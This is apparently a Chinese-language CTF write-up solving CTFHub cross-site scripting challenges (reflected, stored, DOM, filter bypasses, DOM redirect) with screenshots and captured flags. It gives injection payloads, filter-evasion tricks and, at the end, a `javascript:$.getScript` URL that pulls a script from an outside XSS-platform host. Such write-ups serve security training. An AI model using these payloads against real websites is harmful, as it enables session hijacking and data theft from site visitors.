反射型

打开网站

img

反射型,直接使用xss平台,将生成的地址传入第一个空

image-20241128191232646

然后将url代码传入第二个空就行

image-20241128191309973

flag=ctfhub{a51bb55f89d068a011466d62}

存储型

打开网站,依然像上面的步骤一样。

区别于前面反射型xss的是,他建立恶意连接是在于每一次都要发送含恶意代码,而这个存储xss不需要,一旦发送过一次,以后每次访问它时,都会含有恶意代码

image-20241128215208090

flag=ctfhub{1cef0cbbc0bb33244d4a5c76}

DOM反射

查看源码位置

image-20241128215659407

需要闭合前面的 ‘ ,所以只需要在xss注入时前面加上’; ,然后把后面的’;注释掉。

由于前面没有东西了,所以

1
</script><script src= >

其余步骤一样

image-20241128220249060

flag=ctfhub{aebf8f6244f0ad340612cc6e}

过滤空格

步骤一样,空格可以用[/]或者/**/代替

flag=ctfhub{9830f9e82cfbc1e77a1d0dae}

过滤关键词

先用探针试试

1
<script>alert(/xss/)</script>

image-20241128230131380

发现没有

1
script

所以是过滤了关键字script,可以使用大小写绕过,用sCRiPt

image-20241128230522782

flag=ctfhub{9f0740745ba9e7b754658614}

DOM跳转

img

分析一下,代码意思是 从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为”jumpto”,则将页面重定向到参数值所指定的URL

1
2
3
4
5
6
7
8
9
<script>
var target = location.search.split("=")
//以等号分割成两份,一份是参数名,另一份是参数的值(可利用)
if (target[0].slice(1) == "jumpto") {
//其中target[0].slice(1)是指去掉?后面的参数名
location.href = target[1];
//如果参数名相等,就location.href(表示页面跳转)到target[1],也就是参数的值
}
</script>

可以利用js代码和 jQuery 的 $.getScript() 函数来异步加载并执行来自 xss平台 的 js 脚本,使用前提是网站引用了jQuery。

img

这里构造:

1
http://challenge-c644076cd9fc7c0b.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//xsscom.com//He7bc3")

img

img